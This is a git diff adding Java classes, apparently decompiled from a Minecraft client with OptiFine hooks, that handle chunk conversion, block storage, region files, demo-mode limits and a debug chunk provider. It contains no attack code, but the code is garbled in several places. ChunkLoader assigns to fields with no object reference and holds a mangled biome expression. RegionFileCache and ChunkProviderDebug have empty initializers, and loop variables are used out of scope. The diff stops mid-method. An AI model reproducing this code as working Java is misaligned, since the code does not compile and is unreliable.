+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.world.biome.WorldChunkManager;
+import net.minecraft.world.chunk.NibbleArray;
+
+public class ChunkLoader
+{
+  private static final String __OBFID = "CL_00000379";
+  
+  public ChunkLoader() {}
+  
+  public static AnvilConverterData load(NBTTagCompound nbt)
+  {
+    int var1 = nbt.getInteger("xPos");
+    int var2 = nbt.getInteger("zPos");
+    AnvilConverterData var3 = new AnvilConverterData(var1, var2);
+    blocks = nbt.getByteArray("Blocks");
+    data = new NibbleArrayReader(nbt.getByteArray("Data"), 7);
+    skyLight = new NibbleArrayReader(nbt.getByteArray("SkyLight"), 7);
+    blockLight = new NibbleArrayReader(nbt.getByteArray("BlockLight"), 7);
+    heightmap = nbt.getByteArray("HeightMap");
+    terrainPopulated = nbt.getBoolean("TerrainPopulated");
+    entities = nbt.getTagList("Entities", 10);
+    tileEntities = nbt.getTagList("TileEntities", 10);
+    tileTicks = nbt.getTagList("TileTicks", 10);
+    
+    try
+    {
+      lastUpdated = nbt.getLong("LastUpdate");
+    }
+    catch (ClassCastException var5)
+    {
+      lastUpdated = nbt.getInteger("LastUpdate");
+    }
+    
+    return var3;
+  }
+  
+  public static void convertToAnvilFormat(AnvilConverterData p_76690_0_, NBTTagCompound p_76690_1_, WorldChunkManager p_76690_2_)
+  {
+    p_76690_1_.setInteger("xPos", x);
+    p_76690_1_.setInteger("zPos", z);
+    p_76690_1_.setLong("LastUpdate", lastUpdated);
+    int[] var3 = new int[heightmap.length];
+    
+    for (int var4 = 0; var4 < heightmap.length; var4++)
+    {
+      var3[var4] = heightmap[var4];
+    }
+    
+    p_76690_1_.setIntArray("HeightMap", var3);
+    p_76690_1_.setBoolean("TerrainPopulated", terrainPopulated);
+    NBTTagList var16 = new NBTTagList();
+    
+
+    for (int var5 = 0; var5 < 8; var5++)
+    {
+      boolean var6 = true;
+      
+      for (int var7 = 0; (var7 < 16) && (var6); var7++)
+      {
+        int var8 = 0;
+        
+        while ((var8 < 16) && (var6))
+        {
+          int var9 = 0;
+          
+
+
+          while (var9 < 16)
+          {
+            int var10 = var7 << 11 | var9 << 7 | var8 + (var5 << 4);
+            byte var11 = blocks[var10];
+            
+            if (var11 == 0)
+            {
+              var9++;
+            }
+            else
+            {
+              var6 = false;
+            }
+          }
+          var8++;
+        }
+      }
+      
+
+
+      if (!var6)
+      {
+        byte[] var19 = new byte['က'];
+        NibbleArray var20 = new NibbleArray();
+        NibbleArray var21 = new NibbleArray();
+        NibbleArray var22 = new NibbleArray();
+        
+        for (int var23 = 0; var23 < 16; var23++)
+        {
+          for (int var12 = 0; var12 < 16; var12++)
+          {
+            for (int var13 = 0; var13 < 16; var13++)
+            {
+              int var14 = var23 << 11 | var13 << 7 | var12 + (var5 << 4);
+              byte var15 = blocks[var14];
+              var19[(var12 << 8 | var13 << 4 | var23)] = ((byte)(var15 & 0xFF));
+              var20.set(var23, var12, var13, data.get(var23, var12 + (var5 << 4), var13));
+              var21.set(var23, var12, var13, skyLight.get(var23, var12 + (var5 << 4), var13));
+              var22.set(var23, var12, var13, blockLight.get(var23, var12 + (var5 << 4), var13));
+            }
+          }
+        }
+        
+        NBTTagCompound var24 = new NBTTagCompound();
+        var24.setByte("Y", (byte)(var5 & 0xFF));
+        var24.setByteArray("Blocks", var19);
+        var24.setByteArray("Data", var20.getData());
+        var24.setByteArray("SkyLight", var21.getData());
+        var24.setByteArray("BlockLight", var22.getData());
+        var16.appendTag(var24);
+      }
+    }
+    
+    p_76690_1_.setTag("Sections", var16);
+    byte[] var17 = new byte['Ā'];
+    
+    for (int var18 = 0; var18 < 16; var18++)
+    {
+      for (int var7 = 0; var7 < 16; var7++)
+      {
+        var17[(var7 << 4 | var18)] = ((byte)(func_180300_anet.minecraft.util.BlockPosx << 4 | var18, 0, z << 4 | var7), net.minecraft.world.biome.BiomeGenBase.field_180279_ad).biomeID & 0xFF));
+      }
+    }
+    
+    p_76690_1_.setByteArray("Biomes", var17);
+    p_76690_1_.setTag("Entities", entities);
+    p_76690_1_.setTag("TileEntities", tileEntities);
+    
+    if (tileTicks != null)
+    {
+      p_76690_1_.setTag("TileTicks", tileTicks);
+    }
+  }
+  
+  public static class AnvilConverterData
+  {
+    public long lastUpdated;
+    public boolean terrainPopulated;
+    public byte[] heightmap;
+    public NibbleArrayReader blockLight;
+    public NibbleArrayReader skyLight;
+    public NibbleArrayReader data;
+    public byte[] blocks;
+    public NBTTagList entities;
+    public NBTTagList tileEntities;
+    public NBTTagList tileTicks;
+    public final int x;
+    public final int z;
+    private static final String __OBFID = "CL_00000380";
+    
+    public AnvilConverterData(int p_i1999_1_, int p_i1999_2_)
+    {
+      x = p_i1999_1_;
+      z = p_i1999_2_;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/chunk/storage/ExtendedBlockStorage.java b/src/minecraft/net/minecraft/world/chunk/storage/ExtendedBlockStorage.java
new file mode 100644
index 0000000..31ea985
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/chunk/storage/ExtendedBlockStorage.java
@@ -0,0 +1,250 @@
+package net.minecraft.world.chunk.storage;
+
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.ObjectIntIdentityMap;
+import net.minecraft.world.chunk.NibbleArray;
+import optifine.Reflector;
+import optifine.ReflectorClass;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ExtendedBlockStorage
+{
+  private int yBase;
+  private int blockRefCount;
+  private int tickRefCount;
+  private char[] data;
+  private NibbleArray blocklightArray;
+  private NibbleArray skylightArray;
+  private static final String __OBFID = "CL_00000375";
+  
+  public ExtendedBlockStorage(int y, boolean storeSkylight)
+  {
+    yBase = y;
+    data = new char['က'];
+    blocklightArray = new NibbleArray();
+    
+    if (storeSkylight)
+    {
+      skylightArray = new NibbleArray();
+    }
+  }
+  
+  public IBlockState get(int x, int y, int z)
+  {
+    IBlockState var4 = (IBlockState)Block.BLOCK_STATE_IDS.getByValue(data[(y << 8 | z << 4 | x)]);
+    return var4 != null ? var4 : Blocks.air.getDefaultState();
+  }
+  
+  public void set(int x, int y, int z, IBlockState state)
+  {
+    if (Reflector.IExtendedBlockState.isInstance(state))
+    {
+      state = (IBlockState)Reflector.call(state, Reflector.IExtendedBlockState_getClean, new Object[0]);
+    }
+    
+    IBlockState var5 = get(x, y, z);
+    Block var6 = var5.getBlock();
+    Block var7 = state.getBlock();
+    
+    if (var6 != Blocks.air)
+    {
+      blockRefCount -= 1;
+      
+      if (var6.getTickRandomly())
+      {
+        tickRefCount -= 1;
+      }
+    }
+    
+    if (var7 != Blocks.air)
+    {
+      blockRefCount += 1;
+      
+      if (var7.getTickRandomly())
+      {
+        tickRefCount += 1;
+      }
+    }
+    
+    data[(y << 8 | z << 4 | x)] = ((char)Block.BLOCK_STATE_IDS.get(state));
+  }
+  
+
+
+
+
+  public Block getBlockByExtId(int x, int y, int z)
+  {
+    return get(x, y, z).getBlock();
+  }
+  
+
+
+
+  public int getExtBlockMetadata(int x, int y, int z)
+  {
+    IBlockState var4 = get(x, y, z);
+    return var4.getBlock().getMetaFromState(var4);
+  }
+  
+
+
+
+  public boolean isEmpty()
+  {
+    return blockRefCount == 0;
+  }
+  
+
+
+
+
+  public boolean getNeedsRandomTick()
+  {
+    return tickRefCount > 0;
+  }
+  
+
+
+
+  public int getYLocation()
+  {
+    return yBase;
+  }
+  
+
+
+
+  public void setExtSkylightValue(int x, int y, int z, int value)
+  {
+    skylightArray.set(x, y, z, value);
+  }
+  
+
+
+
+  public int getExtSkylightValue(int x, int y, int z)
+  {
+    return skylightArray.get(x, y, z);
+  }
+  
+
+
+
+  public void setExtBlocklightValue(int x, int y, int z, int value)
+  {
+    blocklightArray.set(x, y, z, value);
+  }
+  
+
+
+
+  public int getExtBlocklightValue(int x, int y, int z)
+  {
+    return blocklightArray.get(x, y, z);
+  }
+  
+  public void removeInvalidBlocks()
+  {
+    List blockStates = Block.BLOCK_STATE_IDS.getObjectList();
+    int maxStateId = blockStates.size();
+    int localBlockRefCount = 0;
+    int localTickRefCount = 0;
+    
+    for (int y = 0; y < 16; y++)
+    {
+      int by = y << 8;
+      
+      for (int z = 0; z < 16; z++)
+      {
+        int byz = by | z << 4;
+        
+        for (int x = 0; x < 16; x++)
+        {
+          char stateId = data[(byz | x)];
+          
+          if (stateId > 0)
+          {
+            localBlockRefCount++;
+            
+            if (stateId < maxStateId)
+            {
+              IBlockState bs = (IBlockState)blockStates.get(stateId);
+              
+              if (bs != null)
+              {
+                Block var4 = bs.getBlock();
+                
+                if (var4.getTickRandomly())
+                {
+                  localTickRefCount++;
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+    
+    blockRefCount = localBlockRefCount;
+    tickRefCount = localTickRefCount;
+  }
+  
+  public char[] getData()
+  {
+    return data;
+  }
+  
+  public void setData(char[] dataArray)
+  {
+    data = dataArray;
+  }
+  
+
+
+
+  public NibbleArray getBlocklightArray()
+  {
+    return blocklightArray;
+  }
+  
+
+
+
+  public NibbleArray getSkylightArray()
+  {
+    return skylightArray;
+  }
+  
+
+
+
+  public void setBlocklightArray(NibbleArray newBlocklightArray)
+  {
+    blocklightArray = newBlocklightArray;
+  }
+  
+
+
+
+  public void setSkylightArray(NibbleArray newSkylightArray)
+  {
+    skylightArray = newSkylightArray;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/chunk/storage/IChunkLoader.java b/src/minecraft/net/minecraft/world/chunk/storage/IChunkLoader.java
new file mode 100644
index 0000000..065908e
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/chunk/storage/IChunkLoader.java
@@ -0,0 +1,21 @@
+package net.minecraft.world.chunk.storage;
+
+import java.io.IOException;
+import net.minecraft.world.MinecraftException;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.Chunk;
+
+public abstract interface IChunkLoader
+{
+  public abstract Chunk loadChunk(World paramWorld, int paramInt1, int paramInt2)
+    throws IOException;
+  
+  public abstract void saveChunk(World paramWorld, Chunk paramChunk)
+    throws MinecraftException, IOException;
+  
+  public abstract void saveExtraChunkData(World paramWorld, Chunk paramChunk);
+  
+  public abstract void chunkTick();
+  
+  public abstract void saveExtraData();
+}
diff --git a/src/minecraft/net/minecraft/world/chunk/storage/NibbleArrayReader.java b/src/minecraft/net/minecraft/world/chunk/storage/NibbleArrayReader.java
new file mode 100644
index 0000000..b357de4
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/chunk/storage/NibbleArrayReader.java
@@ -0,0 +1,24 @@
+package net.minecraft.world.chunk.storage;
+
+public class NibbleArrayReader
+{
+  public final byte[] data;
+  private final int depthBits;
+  private final int depthBitsPlusFour;
+  private static final String __OBFID = "CL_00000376";
+  
+  public NibbleArrayReader(byte[] dataIn, int depthBitsIn)
+  {
+    data = dataIn;
+    depthBits = depthBitsIn;
+    depthBitsPlusFour = (depthBitsIn + 4);
+  }
+  
+  public int get(int p_76686_1_, int p_76686_2_, int p_76686_3_)
+  {
+    int var4 = p_76686_1_ << depthBitsPlusFour | p_76686_3_ << depthBits | p_76686_2_;
+    int var5 = var4 >> 1;
+    int var6 = var4 & 0x1;
+    return var6 == 0 ? data[var5] & 0xF : data[var5] >> 4 & 0xF;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/chunk/storage/RegionFile.java b/src/minecraft/net/minecraft/world/chunk/storage/RegionFile.java
new file mode 100644
index 0000000..19f47af
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/chunk/storage/RegionFile.java
@@ -0,0 +1,374 @@
+package net.minecraft.world.chunk.storage;
+
+import com.google.common.collect.Lists;
+import java.io.BufferedInputStream;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.util.List;
+import java.util.zip.DeflaterOutputStream;
+import java.util.zip.GZIPInputStream;
+import java.util.zip.InflaterInputStream;
+import net.minecraft.server.MinecraftServer;
+
+public class RegionFile
+{
+  private static final byte[] emptySector = new byte['က'];
+  private final File fileName;
+  private RandomAccessFile dataFile;
+  private final int[] offsets = new int['Ѐ'];
+  private final int[] chunkTimestamps = new int['Ѐ'];
+  
+  private List sectorFree;
+  
+  private int sizeDelta;
+  private long lastModified;
+  private static final String __OBFID = "CL_00000381";
+  
+  public RegionFile(File p_i2001_1_)
+  {
+    fileName = p_i2001_1_;
+    sizeDelta = 0;
+    
+    try
+    {
+      if (p_i2001_1_.exists())
+      {
+        lastModified = p_i2001_1_.lastModified();
+      }
+      
+      dataFile = new RandomAccessFile(p_i2001_1_, "rw");
+      
+
+      if (dataFile.length() < 4096L)
+      {
+        for (int var2 = 0; var2 < 1024; var2++)
+        {
+          dataFile.writeInt(0);
+        }
+        
+        for (var2 = 0; var2 < 1024; var2++)
+        {
+          dataFile.writeInt(0);
+        }
+        
+        sizeDelta += 8192;
+      }
+      
+      if ((dataFile.length() & 0xFFF) != 0L)
+      {
+        for (int var2 = 0; var2 < (dataFile.length() & 0xFFF); var2++)
+        {
+          dataFile.write(0);
+        }
+      }
+      
+      int var2 = (int)dataFile.length() / 4096;
+      sectorFree = Lists.newArrayListWithCapacity(var2);
+      
+
+      for (int var3 = 0; var3 < var2; var3++)
+      {
+        sectorFree.add(Boolean.valueOf(true));
+      }
+      
+      sectorFree.set(0, Boolean.valueOf(false));
+      sectorFree.set(1, Boolean.valueOf(false));
+      dataFile.seek(0L);
+      
+
+      for (var3 = 0; var3 < 1024; var3++)
+      {
+        int var4 = dataFile.readInt();
+        offsets[var3] = var4;
+        
+        if ((var4 != 0) && ((var4 >> 8) + (var4 & 0xFF) <= sectorFree.size()))
+        {
+          for (int var5 = 0; var5 < (var4 & 0xFF); var5++)
+          {
+            sectorFree.set((var4 >> 8) + var5, Boolean.valueOf(false));
+          }
+        }
+      }
+      
+      for (var3 = 0; var3 < 1024; var3++)
+      {
+        int var4 = dataFile.readInt();
+        chunkTimestamps[var3] = var4;
+      }
+    }
+    catch (IOException var6)
+    {
+      var6.printStackTrace();
+    }
+  }
+  
+
+
+
+  public synchronized DataInputStream getChunkDataInputStream(int p_76704_1_, int p_76704_2_)
+  {
+    if (outOfBounds(p_76704_1_, p_76704_2_))
+    {
+      return null;
+    }
+    
+
+    try
+    {
+      int var3 = getOffset(p_76704_1_, p_76704_2_);
+      
+      if (var3 == 0)
+      {
+        return null;
+      }
+      
+
+      int var4 = var3 >> 8;
+      int var5 = var3 & 0xFF;
+      
+      if (var4 + var5 > sectorFree.size())
+      {
+        return null;
+      }
+      
+
+      dataFile.seek(var4 * 4096);
+      int var6 = dataFile.readInt();
+      
+      if (var6 > 4096 * var5)
+      {
+        return null;
+      }
+      if (var6 <= 0)
+      {
+        return null;
+      }
+      
+
+      byte var7 = dataFile.readByte();
+      
+
+      if (var7 == 1)
+      {
+        byte[] var8 = new byte[var6 - 1];
+        dataFile.read(var8);
+        return new DataInputStream(new BufferedInputStream(new GZIPInputStream(new ByteArrayInputStream(var8))));
+      }
+      if (var7 == 2)
+      {
+        byte[] var8 = new byte[var6 - 1];
+        dataFile.read(var8);
+        return new DataInputStream(new BufferedInputStream(new InflaterInputStream(new ByteArrayInputStream(var8))));
+      }
+      
+
+      return null;
+    }
+    catch (IOException var9) {}
+    
+
+
+
+
+    return null;
+  }
+  
+
+
+
+
+
+  public DataOutputStream getChunkDataOutputStream(int p_76710_1_, int p_76710_2_)
+  {
+    return outOfBounds(p_76710_1_, p_76710_2_) ? null : new DataOutputStream(new DeflaterOutputStream(new ChunkBuffer(p_76710_1_, p_76710_2_)));
+  }
+  
+
+
+
+  protected synchronized void write(int p_76706_1_, int p_76706_2_, byte[] p_76706_3_, int p_76706_4_)
+  {
+    try
+    {
+      int var5 = getOffset(p_76706_1_, p_76706_2_);
+      int var6 = var5 >> 8;
+      int var7 = var5 & 0xFF;
+      int var8 = (p_76706_4_ + 5) / 4096 + 1;
+      
+      if (var8 >= 256)
+      {
+        return;
+      }
+      
+      if ((var6 != 0) && (var7 == var8))
+      {
+        write(var6, p_76706_3_, p_76706_4_);
+
+      }
+      else
+      {
+
+        for (int var9 = 0; var9 < var7; var9++)
+        {
+          sectorFree.set(var6 + var9, Boolean.valueOf(true));
+        }
+        
+        var9 = sectorFree.indexOf(Boolean.valueOf(true));
+        int var10 = 0;
+        
+
+        if (var9 != -1)
+        {
+          for (int var11 = var9; var11 < sectorFree.size(); var11++)
+          {
+            if (var10 != 0)
+            {
+              if (((Boolean)sectorFree.get(var11)).booleanValue())
+              {
+                var10++;
+              }
+              else
+              {
+                var10 = 0;
+              }
+            }
+            else if (((Boolean)sectorFree.get(var11)).booleanValue())
+            {
+              var9 = var11;
+              var10 = 1;
+            }
+            
+            if (var10 >= var8) {
+              break;
+            }
+          }
+        }
+        
+
+        if (var10 >= var8)
+        {
+          var6 = var9;
+          setOffset(p_76706_1_, p_76706_2_, var9 << 8 | var8);
+          
+          for (int var11 = 0; var11 < var8; var11++)
+          {
+            sectorFree.set(var6 + var11, Boolean.valueOf(false));
+          }
+          
+          write(var6, p_76706_3_, p_76706_4_);
+        }
+        else
+        {
+          dataFile.seek(dataFile.length());
+          var6 = sectorFree.size();
+          
+          for (int var11 = 0; var11 < var8; var11++)
+          {
+            dataFile.write(emptySector);
+            sectorFree.add(Boolean.valueOf(false));
+          }
+          
+          sizeDelta += 4096 * var8;
+          write(var6, p_76706_3_, p_76706_4_);
+          setOffset(p_76706_1_, p_76706_2_, var6 << 8 | var8);
+        }
+      }
+      
+      setChunkTimestamp(p_76706_1_, p_76706_2_, (int)(MinecraftServer.getCurrentTimeMillis() / 1000L));
+    }
+    catch (IOException var12)
+    {
+      var12.printStackTrace();
+    }
+  }
+  
+
+
+  private void write(int p_76712_1_, byte[] p_76712_2_, int p_76712_3_)
+    throws IOException
+  {
+    dataFile.seek(p_76712_1_ * 4096);
+    dataFile.writeInt(p_76712_3_ + 1);
+    dataFile.writeByte(2);
+    dataFile.write(p_76712_2_, 0, p_76712_3_);
+  }
+  
+
+
+
+  private boolean outOfBounds(int p_76705_1_, int p_76705_2_)
+  {
+    return (p_76705_1_ < 0) || (p_76705_1_ >= 32) || (p_76705_2_ < 0) || (p_76705_2_ >= 32);
+  }
+  
+
+
+
+  private int getOffset(int p_76707_1_, int p_76707_2_)
+  {
+    return offsets[(p_76707_1_ + p_76707_2_ * 32)];
+  }
+  
+
+
+
+  public boolean isChunkSaved(int p_76709_1_, int p_76709_2_)
+  {
+    return getOffset(p_76709_1_, p_76709_2_) != 0;
+  }
+  
+
+
+  private void setOffset(int p_76711_1_, int p_76711_2_, int p_76711_3_)
+    throws IOException
+  {
+    offsets[(p_76711_1_ + p_76711_2_ * 32)] = p_76711_3_;
+    dataFile.seek((p_76711_1_ + p_76711_2_ * 32) * 4);
+    dataFile.writeInt(p_76711_3_);
+  }
+  
+
+
+  private void setChunkTimestamp(int p_76713_1_, int p_76713_2_, int p_76713_3_)
+    throws IOException
+  {
+    chunkTimestamps[(p_76713_1_ + p_76713_2_ * 32)] = p_76713_3_;
+    dataFile.seek(4096 + (p_76713_1_ + p_76713_2_ * 32) * 4);
+    dataFile.writeInt(p_76713_3_);
+  }
+  
+
+
+  public void close()
+    throws IOException
+  {
+    if (dataFile != null)
+    {
+      dataFile.close();
+    }
+  }
+  
+  class ChunkBuffer extends ByteArrayOutputStream
+  {
+    private int chunkX;
+    private int chunkZ;
+    private static final String __OBFID = "CL_00000382";
+    
+    public ChunkBuffer(int p_i2000_2_, int p_i2000_3_)
+    {
+      super();
+      chunkX = p_i2000_2_;
+      chunkZ = p_i2000_3_;
+    }
+    
+    public void close() throws IOException
+    {
+      write(chunkX, chunkZ, buf, count);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/chunk/storage/RegionFileCache.java b/src/minecraft/net/minecraft/world/chunk/storage/RegionFileCache.java
new file mode 100644
index 0000000..ac9cc89
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/chunk/storage/RegionFileCache.java
@@ -0,0 +1,89 @@
+package net.minecraft.world.chunk.storage;
+
+import com.google.common.collect.Maps;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.IOException;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+
+public class RegionFileCache
+{
+  private static final Map regionsByFilename = ;
+  private static final String __OBFID = "CL_00000383";
+  
+  public RegionFileCache() {}
+  
+  public static synchronized RegionFile createOrLoadRegionFile(File worldDir, int chunkX, int chunkZ) { File var3 = new File(worldDir, "region");
+    File var4 = new File(var3, "r." + (chunkX >> 5) + "." + (chunkZ >> 5) + ".mca");
+    RegionFile var5 = (RegionFile)regionsByFilename.get(var4);
+    
+    if (var5 != null)
+    {
+      return var5;
+    }
+    
+
+    if (!var3.exists())
+    {
+      var3.mkdirs();
+    }
+    
+    if (regionsByFilename.size() >= 256)
+    {
+      clearRegionFileReferences();
+    }
+    
+    RegionFile var6 = new RegionFile(var4);
+    regionsByFilename.put(var4, var6);
+    return var6;
+  }
+  
+
+
+
+
+  public static synchronized void clearRegionFileReferences()
+  {
+    Iterator var0 = regionsByFilename.values().iterator();
+    
+    while (var0.hasNext())
+    {
+      RegionFile var1 = (RegionFile)var0.next();
+      
+      try
+      {
+        if (var1 != null)
+        {
+          var1.close();
+        }
+      }
+      catch (IOException var3)
+      {
+        var3.printStackTrace();
+      }
+    }
+    
+    regionsByFilename.clear();
+  }
+  
+
+
+
+  public static DataInputStream getChunkInputStream(File worldDir, int chunkX, int chunkZ)
+  {
+    RegionFile var3 = createOrLoadRegionFile(worldDir, chunkX, chunkZ);
+    return var3.getChunkDataInputStream(chunkX & 0x1F, chunkZ & 0x1F);
+  }
+  
+
+
+
+  public static DataOutputStream getChunkOutputStream(File worldDir, int chunkX, int chunkZ)
+  {
+    RegionFile var3 = createOrLoadRegionFile(worldDir, chunkX, chunkZ);
+    return var3.getChunkDataOutputStream(chunkX & 0x1F, chunkZ & 0x1F);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/demo/DemoWorldManager.java b/src/minecraft/net/minecraft/world/demo/DemoWorldManager.java
new file mode 100644
index 0000000..06357ad
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/demo/DemoWorldManager.java
@@ -0,0 +1,137 @@
+package net.minecraft.world.demo;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.network.NetHandlerPlayServer;
+import net.minecraft.network.play.server.S2BPacketChangeGameState;
+import net.minecraft.server.management.ItemInWorldManager;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class DemoWorldManager extends ItemInWorldManager
+{
+  private boolean field_73105_c;
+  private boolean demoTimeExpired;
+  private int field_73104_e;
+  private int field_73102_f;
+  private static final String __OBFID = "CL_00001429";
+  
+  public DemoWorldManager(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public void updateBlockRemoving()
+  {
+    super.updateBlockRemoving();
+    field_73102_f += 1;
+    long var1 = theWorld.getTotalWorldTime();
+    long var3 = var1 / 24000L + 1L;
+    
+    if ((!field_73105_c) && (field_73102_f > 20))
+    {
+      field_73105_c = true;
+      thisPlayerMP.playerNetServerHandler.sendPacket(new S2BPacketChangeGameState(5, 0.0F));
+    }
+    
+    demoTimeExpired = (var1 > 120500L);
+    
+    if (demoTimeExpired)
+    {
+      field_73104_e += 1;
+    }
+    
+    if (var1 % 24000L == 500L)
+    {
+      if (var3 <= 6L)
+      {
+        thisPlayerMP.addChatMessage(new net.minecraft.util.ChatComponentTranslation("demo.day." + var3, new Object[0]));
+      }
+    }
+    else if (var3 == 1L)
+    {
+      if (var1 == 100L)
+      {
+        thisPlayerMP.playerNetServerHandler.sendPacket(new S2BPacketChangeGameState(5, 101.0F));
+      }
+      else if (var1 == 175L)
+      {
+        thisPlayerMP.playerNetServerHandler.sendPacket(new S2BPacketChangeGameState(5, 102.0F));
+      }
+      else if (var1 == 250L)
+      {
+        thisPlayerMP.playerNetServerHandler.sendPacket(new S2BPacketChangeGameState(5, 103.0F));
+      }
+    }
+    else if ((var3 == 5L) && (var1 % 24000L == 22000L))
+    {
+      thisPlayerMP.addChatMessage(new net.minecraft.util.ChatComponentTranslation("demo.day.warning", new Object[0]));
+    }
+  }
+  
+
+
+
+  private void sendDemoReminder()
+  {
+    if (field_73104_e > 100)
+    {
+      thisPlayerMP.addChatMessage(new net.minecraft.util.ChatComponentTranslation("demo.reminder", new Object[0]));
+      field_73104_e = 0;
+    }
+  }
+  
+  public void func_180784_a(BlockPos p_180784_1_, EnumFacing p_180784_2_)
+  {
+    if (demoTimeExpired)
+    {
+      sendDemoReminder();
+    }
+    else
+    {
+      super.func_180784_a(p_180784_1_, p_180784_2_);
+    }
+  }
+  
+  public void func_180785_a(BlockPos p_180785_1_)
+  {
+    if (!demoTimeExpired)
+    {
+      super.func_180785_a(p_180785_1_);
+    }
+  }
+  
+  public boolean func_180237_b(BlockPos p_180237_1_)
+  {
+    return demoTimeExpired ? false : super.func_180237_b(p_180237_1_);
+  }
+  
+
+
+
+  public boolean tryUseItem(EntityPlayer p_73085_1_, World worldIn, net.minecraft.item.ItemStack p_73085_3_)
+  {
+    if (demoTimeExpired)
+    {
+      sendDemoReminder();
+      return false;
+    }
+    
+
+    return super.tryUseItem(p_73085_1_, worldIn, p_73085_3_);
+  }
+  
+
+  public boolean func_180236_a(EntityPlayer p_180236_1_, World worldIn, net.minecraft.item.ItemStack p_180236_3_, BlockPos p_180236_4_, EnumFacing p_180236_5_, float p_180236_6_, float p_180236_7_, float p_180236_8_)
+  {
+    if (demoTimeExpired)
+    {
+      sendDemoReminder();
+      return false;
+    }
+    
+
+    return super.func_180236_a(p_180236_1_, worldIn, p_180236_3_, p_180236_4_, p_180236_5_, p_180236_6_, p_180236_7_, p_180236_8_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/demo/DemoWorldServer.java b/src/minecraft/net/minecraft/world/demo/DemoWorldServer.java
new file mode 100644
index 0000000..1c133f6
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/demo/DemoWorldServer.java
@@ -0,0 +1,22 @@
+package net.minecraft.world.demo;
+
+import net.minecraft.profiler.Profiler;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.WorldSettings;
+import net.minecraft.world.WorldType;
+import net.minecraft.world.storage.ISaveHandler;
+import net.minecraft.world.storage.WorldInfo;
+
+public class DemoWorldServer extends WorldServer
+{
+  private static final long demoWorldSeed = "North Carolina".hashCode();
+  public static final WorldSettings demoWorldSettings = new WorldSettings(demoWorldSeed, net.minecraft.world.WorldSettings.GameType.SURVIVAL, true, false, WorldType.DEFAULT).enableBonusChest();
+  private static final String __OBFID = "CL_00001428";
+  
+  public DemoWorldServer(MinecraftServer server, ISaveHandler saveHandlerIn, WorldInfo worldInfoIn, int dimensionId, Profiler profilerIn)
+  {
+    super(server, saveHandlerIn, worldInfoIn, dimensionId, profilerIn);
+    worldInfo.populateFromWorldSettings(demoWorldSettings);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/ChunkProviderDebug.java b/src/minecraft/net/minecraft/world/gen/ChunkProviderDebug.java
new file mode 100644
index 0000000..b4dc454
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/ChunkProviderDebug.java
@@ -0,0 +1,192 @@
+package net.minecraft.world.gen;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EnumCreatureType;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IProgressUpdate;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.chunk.ChunkPrimer;
+import net.minecraft.world.chunk.IChunkProvider;
+
+public class ChunkProviderDebug implements IChunkProvider
+{
+  private static final List field_177464_a = ;
+  
+
+
+
+  public ChunkProviderDebug(World worldIn)
+  {
+    field_177463_c = worldIn;
+  }
+  
+
+
+
+
+  public Chunk provideChunk(int p_73154_1_, int p_73154_2_)
+  {
+    ChunkPrimer var3 = new ChunkPrimer();
+    
+
+    for (int var4 = 0; var4 < 16; var4++)
+    {
+      for (int var5 = 0; var5 < 16; var5++)
+      {
+        int var6 = p_73154_1_ * 16 + var4;
+        int var7 = p_73154_2_ * 16 + var5;
+        var3.setBlockState(var4, 60, var5, net.minecraft.init.Blocks.barrier.getDefaultState());
+        IBlockState var8 = func_177461_b(var6, var7);
+        
+        if (var8 != null)
+        {
+          var3.setBlockState(var4, 70, var5, var8);
+        }
+      }
+    }
+    
+    Chunk var9 = new Chunk(field_177463_c, var3, p_73154_1_, p_73154_2_);
+    var9.generateSkylightMap();
+    BiomeGenBase[] var10 = field_177463_c.getWorldChunkManager().loadBlockGeneratorData(null, p_73154_1_ * 16, p_73154_2_ * 16, 16, 16);
+    byte[] var11 = var9.getBiomeArray();
+    
+    for (int var7 = 0; var7 < var11.length; var7++)
+    {
+      var11[var7] = ((byte)biomeID);
+    }
+    
+    var9.generateSkylightMap();
+    return var9;
+  }
+  
+  public static IBlockState func_177461_b(int p_177461_0_, int p_177461_1_)
+  {
+    IBlockState var2 = null;
+    
+    if ((p_177461_0_ > 0) && (p_177461_1_ > 0) && (p_177461_0_ % 2 != 0) && (p_177461_1_ % 2 != 0))
+    {
